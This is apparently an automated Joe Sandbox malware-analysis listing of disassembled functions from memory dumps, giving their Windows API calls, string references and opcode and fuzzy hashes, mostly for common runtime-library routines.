Function 07166276 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualQuery.API-MS-WIN-CORE-MEMORY-L1-1-0(?,?,0000001C), ref: 07166287
GetSystemInfo.API-MS-WIN-CORE-SYSINFO-L1-1-0(?), ref: 071662A2

Strings

D, xrefs: 07166296

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: InfoQuerySystemVirtual
String ID: D
API String ID: 401686933-2746444292
Opcode ID: bec5dc2e93291e52cf9badd77203a4bfb8f2e510cdd53b2ba29f1c9cbd393b7b
Instruction ID: 625bd738214d51e51a668b995df2afccfe3c34d0c93c86aecd5b975ebcad3268
Opcode Fuzzy Hash: bec5dc2e93291e52cf9badd77203a4bfb8f2e510cdd53b2ba29f1c9cbd393b7b
Instruction Fuzzy Hash: 1201FCB3A001199BDF14DE65CC09BDE7BAAAFC4224F0CC124ED19D7180D734E9518680

Uniqueness

Uniqueness Score: -1.00%

Function 07142CC6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32windowCOMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(!x-sys-default-locale,20000001,?,00000002,?,?,07102459,?,00000000,?,?,?,?,?,?,07166E2D), ref: 07142CDA
FormatMessageA.KERNEL32(00001300,00000000,?,?,00000000,00000000,00000000,?,?,07102459,?,00000000), ref: 07142D01

Strings

!x-sys-default-locale, xrefs: 07142CD5

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: FormatInfoLocaleMessage
String ID: !x-sys-default-locale
API String ID: 4235545615-2729719199
Opcode ID: d90cfd430a4359498778d58dd83605f4c974f3f62cd716a69824b8faa9137f34
Instruction ID: 0aff50000bdc4a442dae2266fb5886fdeeb480e11d506d9fd46127f089ed0b69
Opcode Fuzzy Hash: d90cfd430a4359498778d58dd83605f4c974f3f62cd716a69824b8faa9137f34
Instruction Fuzzy Hash: 5AF030B5220105FFEB149B99CC0ADAB77ADFB09754F01401DFA02D6080E6B0AE50D761

Uniqueness

Uniqueness Score: -1.00%

Function 0715FDA5 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 071547E3: GetLastError.KERNEL32(00000000,0714FE22,0715A074), ref: 071547E7
Part of subcall function 071547E3: SetLastError.KERNEL32(00000000,00000000,00000000,0000000B,000000FF), ref: 07154889

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0715FDF9
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0715FE43
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0715FF09

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 4206d33539d52a6031cc87349ea62913355a7f9281570ae0c7aa231a35d0eb0e
Instruction ID: e0d6e222f2a5c30178ea9741f2713d60e837253c3d3547bb4dfc3877cfa429ab
Opcode Fuzzy Hash: 4206d33539d52a6031cc87349ea62913355a7f9281570ae0c7aa231a35d0eb0e
Instruction Fuzzy Hash: D2617DF291020BDFDB2D9E28C885BAA77ACEF05300F10416AED25D69C5F734D992CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0713E580 Relevance: 4.7, APIs: 3, Instructions: 200threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0713E679
IsDebuggerPresent.KERNEL32 ref: 0713E758
OutputDebugStringW.KERNEL32(?), ref: 0713E7BB

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: CurrentDebugDebuggerOutputPresentStringThread
String ID:
API String ID: 4268342597-0
Opcode ID: 847d10c51477b59f5f7600229eaa5ecbf67353c98053ae3aed9ea764b86848a2
Instruction ID: 61db45c071a56c791848af832d8d4e92aa9b954e6f12587bb9a6636f1e92e9c6
Opcode Fuzzy Hash: 847d10c51477b59f5f7600229eaa5ecbf67353c98053ae3aed9ea764b86848a2
Instruction Fuzzy Hash: 967156F0A007469FDB21DF69D844B6A7BE5BF49215F10852DE84AD36C0E738E588CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0714FC07 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 0714FCFF
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 0714FD09
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 0714FD16

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: eb110297fca4f96a6c5c410a4f37df0d5a7bfe21743204a451fc3f064b4fba36
Instruction ID: 7d97a289bb63354dd1532ad90720b4e8068040e25b2ab1b53fef5fab75a21781
Opcode Fuzzy Hash: eb110297fca4f96a6c5c410a4f37df0d5a7bfe21743204a451fc3f064b4fba36
Instruction Fuzzy Hash: 5C31C5B49112199BCB21DF28D98878DBBB8FF08314F5045EAE41CA7290E7749B82CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00D83134 Relevance: 3.9, Strings: 3, Instructions: 134COMMONLIBRARYCODE

Download Yara Rule

Strings

9, xrefs: 00CFB7D1
)J, xrefs: 00D83153
KERNEL32.DLL, xrefs: 00D83135, 00DC7761, 00DC777B

Memory Dump Source

Source File: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID:
String ID: )J$9$KERNEL32.DLL
API String ID: 0-3398917975
Opcode ID: 7de3029e3faec3225bc07eb98fc926945083d64a0402db24044670599d382552
Instruction ID: 82c04eb248335b6e5563111c52bf9a37e2c49195f459d6df64783a9c098aafc2
Opcode Fuzzy Hash: 7de3029e3faec3225bc07eb98fc926945083d64a0402db24044670599d382552
Instruction Fuzzy Hash: 6651023150C746ABCB24EF24D58189AB7E1FFC6304F148E5CE4D987596D3349949CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 00E53344 Relevance: 2.7, Strings: 2, Instructions: 187COMMON

Download Yara Rule

Strings

8, xrefs: 00D80AFE
8, xrefs: 00D80AB3

Memory Dump Source

Source File: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID:
String ID: 8$8
API String ID: 0-215168002
Opcode ID: e06c6cee033d952a170a63fea9dfd56679e60157d3d9f904c981ed2386166a39
Instruction ID: d7074efdefcf2bf80ce04163955bc5c80b7247b9bf129f171cb203c40e22d66a
Opcode Fuzzy Hash: e06c6cee033d952a170a63fea9dfd56679e60157d3d9f904c981ed2386166a39
Instruction Fuzzy Hash: 837168315083469FCB10EF35D94169BB7E0FFC5310F248A6CE8D497295E734A619DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0715C010 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,0715C00B,?,?,00000008,?,?,0716606F,00000000), ref: 0715C23D

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: cc5d8a0b03cee7966f9c2ab2294f939698937fce47c4a66f32db087ed8932372
Instruction ID: 79a9a8220180fa72386590df97b0c4a8546b019d5cdd4698bf0208b72d603ff9
Opcode Fuzzy Hash: cc5d8a0b03cee7966f9c2ab2294f939698937fce47c4a66f32db087ed8932372
Instruction Fuzzy Hash: A8B11AB521060ADFD719CF28C48AB657BE0FF45364F258658E8AACF2E1C335D981CB90

Uniqueness

Uniqueness Score: -1.00%

Function 07145D6C Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 07145D82

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 76393abb317e97e3545bc3ba6dc342a45a650e387a6c57645f404214b9c3d4cf
Instruction ID: 975c4cff0a8585b4a39a861daa185c2b1d04265f6bd398a8f50a0326525d8b7a
Opcode Fuzzy Hash: 76393abb317e97e3545bc3ba6dc342a45a650e387a6c57645f404214b9c3d4cf
Instruction Fuzzy Hash: 88517CF191460A8FEB15CF65D8867AABBF1FB48305F54816AD401FB2C1D378AA90CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0715CCFD Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6ea69ba720f3110352736cd2ce0144f82bd820803d00a7d189b0c328473e088
Instruction ID: 42ddbfcfde0343c752564dbca66aa26f5ca9a5f28dd199869d845b5d181b079d
Opcode Fuzzy Hash: b6ea69ba720f3110352736cd2ce0144f82bd820803d00a7d189b0c328473e088
Instruction Fuzzy Hash: 894187B580421EEFDB25DF69CC88AAABBB9EF45204F1442DDE819E3240D7349D459FA0

Uniqueness

Uniqueness Score: -1.00%

Function 0715FFF8 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 071547E3: GetLastError.KERNEL32(00000000,0714FE22,0715A074), ref: 071547E7
Part of subcall function 071547E3: SetLastError.KERNEL32(00000000,00000000,00000000,0000000B,000000FF), ref: 07154889

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0716004C

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: e70daeaf73f3cfcdf8030c5850fa4fa0cfe579c6555b3a765073352f3acee94a
Instruction ID: f04bb45f73234fa720f1ee647076480fe028726b2ec8df387a3e0e3ece25744c
Opcode Fuzzy Hash: e70daeaf73f3cfcdf8030c5850fa4fa0cfe579c6555b3a765073352f3acee94a
Instruction Fuzzy Hash: 1F2195B1651207EBDB29AE24DC45EBA73ACEF49350F10407AED01D61C1EB75E960CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0715FC7F Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 071547E3: GetLastError.KERNEL32(00000000,0714FE22,0715A074), ref: 071547E7
Part of subcall function 071547E3: SetLastError.KERNEL32(00000000,00000000,00000000,0000000B,000000FF), ref: 07154889

EnumSystemLocalesW.KERNEL32(0715FDA5,00000001,00000000,?,-00000050,?,071603D9,00000000,?,?,?,00000055,?), ref: 0715FCF1

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: c3a7f037533122a6f0fd8a81d0c825b105cec9dec571e52f98da8d324b4bf7fe
Instruction ID: 44052789495225090d067b0c28fe27b6b153f59761cb910d2c3eed88677ef96d
Opcode Fuzzy Hash: c3a7f037533122a6f0fd8a81d0c825b105cec9dec571e52f98da8d324b4bf7fe
Instruction Fuzzy Hash: 2011067B2107029FDB1C9F39C8916BAB796FF80368B14482CDD9647A80D771B443C740

Uniqueness

Uniqueness Score: -1.00%

Function 07160227 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 071547E3: GetLastError.KERNEL32(00000000,0714FE22,0715A074), ref: 071547E7
Part of subcall function 071547E3: SetLastError.KERNEL32(00000000,00000000,00000000,0000000B,000000FF), ref: 07154889

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,0715FFC1,00000000,00000000,?), ref: 07160253

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 9ebfe66ebd4987ee9f634358e57f1c01be113bddff1872aae01ae203be7e07a7
Instruction ID: bbeac599570c83ecdb96e798d63a21264c88c77e54c205636c8c51fb0ef063e1
Opcode Fuzzy Hash: 9ebfe66ebd4987ee9f634358e57f1c01be113bddff1872aae01ae203be7e07a7
Instruction Fuzzy Hash: 2101D6B6610112AFDB2C5B268C0DBBA3759DF44294F15442CDC46A31C0EB74FE91C690

Uniqueness

Uniqueness Score: -1.00%

Function 0715FD1A Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 071547E3: GetLastError.KERNEL32(00000000,0714FE22,0715A074), ref: 071547E7
Part of subcall function 071547E3: SetLastError.KERNEL32(00000000,00000000,00000000,0000000B,000000FF), ref: 07154889

EnumSystemLocalesW.KERNEL32(0715FFF8,00000001,00000006,?,-00000050,?,071603A1,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 0715FD64

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: fc1f56e78523da4009ba1c94967c36433b27894d27837f66bf3c9cb6c0d1d175
Instruction ID: ce5b1f9e2b1d1357b381c6acd587523f1cf3361e88ce6de3269ab5e4bd981eed
Opcode Fuzzy Hash: fc1f56e78523da4009ba1c94967c36433b27894d27837f66bf3c9cb6c0d1d175
Instruction Fuzzy Hash: A1F046B6200304DFCB295F38D884A7A7B99EF82368B14442CFE114B6D0C7B1A883C740

Uniqueness

Uniqueness Score: -1.00%

Function 07154ADB Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 07151302: EnterCriticalSection.KERNEL32(-00044230,?,0715330C,00000000,071751A0,0000000C,071532D4,?,?,07154415,?,?,07154981,00000001,00000364,07135FE8), ref: 07151311

EnumSystemLocalesW.KERNEL32(07154ACE,00000001,07175310,0000000C,07154F43,00000000), ref: 07154B13

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: fe586646b1e553b17f20e6355289cc6977bd03950301cbf04507f94662914f60
Instruction ID: 9fc2c23ca468272d5e9aa640500238faba1a30ff292689160c813f65c7b04b02
Opcode Fuzzy Hash: fe586646b1e553b17f20e6355289cc6977bd03950301cbf04507f94662914f60
Instruction Fuzzy Hash: 23F049B2A50204EFD705EFA8E446B9D77F0FB09735F10816AE8259B2D0C7795980CF41

Uniqueness

Uniqueness Score: -1.00%

Function 0715FC34 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 071547E3: GetLastError.KERNEL32(00000000,0714FE22,0715A074), ref: 071547E7
Part of subcall function 071547E3: SetLastError.KERNEL32(00000000,00000000,00000000,0000000B,000000FF), ref: 07154889

EnumSystemLocalesW.KERNEL32(0715FB8D,00000001,00000006,?,?,071603FB,-00000050,?,?,?,00000055,?,-00000050,?,?,00000006), ref: 0715FC6B

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 0f61cbc2f822eb8bd58e40c823f71eddfc1bbcc14fe3077b9ee2262247391c45
Instruction ID: 4dbc8084f08278284e240d64ff9203c270ee7fd1f27dc5c7875e7a58dbd25914
Opcode Fuzzy Hash: 0f61cbc2f822eb8bd58e40c823f71eddfc1bbcc14fe3077b9ee2262247391c45
Instruction Fuzzy Hash: FEF0557A300205DBCB089F35C849A6A7F98EFC1620B06006CEE168B280C3719883C790

Uniqueness

Uniqueness Score: -1.00%

Function 00AFDEAD Relevance: 1.5, APIs: 1, Instructions: 30timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,00AFD907,?,?,?,?,00BA27DF,76A923A0), ref: 00AFDEE5

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: 77e801a0f65546e841920b347d8ac862ff10ec1e21daea0262ff80e4b12916e2
Instruction ID: e9be5fd643d0658178e032ee68a3735d78dfcd9460b926c7a6f12e110e392a9d
Opcode Fuzzy Hash: 77e801a0f65546e841920b347d8ac862ff10ec1e21daea0262ff80e4b12916e2
Instruction Fuzzy Hash: A4F0EC36508658DFCB01DF84DC01B9DBBA8F749B10F014229F81297790D7755D00DB80

Uniqueness

Uniqueness Score: -1.00%

Function 07155047 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,07156917,?,20001004,00000000,00000002,?,?,07155F09), ref: 0715507B

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 30eba526fee2d886fdb2ba8c0c8ac2cb7103b4594d909102427be4b8949d4532
Instruction ID: 4920e45f1cad488030057441d6e43c1cbf0e8ec7d99dc9668f99342074df9ccf
Opcode Fuzzy Hash: 30eba526fee2d886fdb2ba8c0c8ac2cb7103b4594d909102427be4b8949d4532
Instruction Fuzzy Hash: 08E01AB2500128FBCF1A2E60DC08FAE3E27AF44760F458014FD2566290CB369971AAD5

Uniqueness

Uniqueness Score: -1.00%

Function 00DB842B Relevance: 1.3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

d, xrefs: 00C6E545

Memory Dump Source

Source File: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-3198732787
Opcode ID: d0f6ea2bbb9f382147641945b83f023286d86a927f1ef76508e7634d1d703668
Instruction ID: b2e2121f3055c12bb8fca42544185b3df2498a27be7124b8bfda2cef3750ecc9
Opcode Fuzzy Hash: d0f6ea2bbb9f382147641945b83f023286d86a927f1ef76508e7634d1d703668
Instruction Fuzzy Hash: B131EF3A808356ABCB04DF64D45119BFBE1FFC6324F618A2CA4D65B252E7318919CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00BCF450 Relevance: .7, Instructions: 735COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: badbaf8246211a27290e46d954d3d30ebcf94f7cda08ec4a79ca56d2d19496d7
Instruction ID: 709d0594d0020c1962dfb561e89beba46ce75114c96ebea4f5d053e57b2e9c09
Opcode Fuzzy Hash: badbaf8246211a27290e46d954d3d30ebcf94f7cda08ec4a79ca56d2d19496d7
Instruction Fuzzy Hash: 1F624AB1E012169BDB14CF59C584BADBBF2EF48308F2481EED818AB352D775D946CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00AFA040 Relevance: .4, Instructions: 394COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1c371f0c967025b3cf39e82741ee8bb46a8ae832f39c7476aabe958b5774e36
Instruction ID: c0cd2bb653a773418a6ac745fe58d129a5f582c60358162508b7f1a999b56a11
Opcode Fuzzy Hash: d1c371f0c967025b3cf39e82741ee8bb46a8ae832f39c7476aabe958b5774e36
Instruction Fuzzy Hash: 91E1E4B6E1022A9FDB05CFA8D4816EDFBF1AF98310F154269E919B7340D770AD45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0714E999 Relevance: .4, Instructions: 385COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87b8855a7e4204becfb4484b3a47328402916215ac21880caa13500f53d30615
Instruction ID: 6a87a0abb5d1101f25bc1eb270f1770f1277d3095054fcbb15aa929e0c9c31be
Opcode Fuzzy Hash: 87b8855a7e4204becfb4484b3a47328402916215ac21880caa13500f53d30615
Instruction Fuzzy Hash: 2BD1B9F5A00607CFCB2ACF68C584A7ABBB1FF49714F284A59D4569B6D0C330E94ACB51

Uniqueness

Uniqueness Score: -1.00%

Function 00B0ABFF Relevance: .3, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
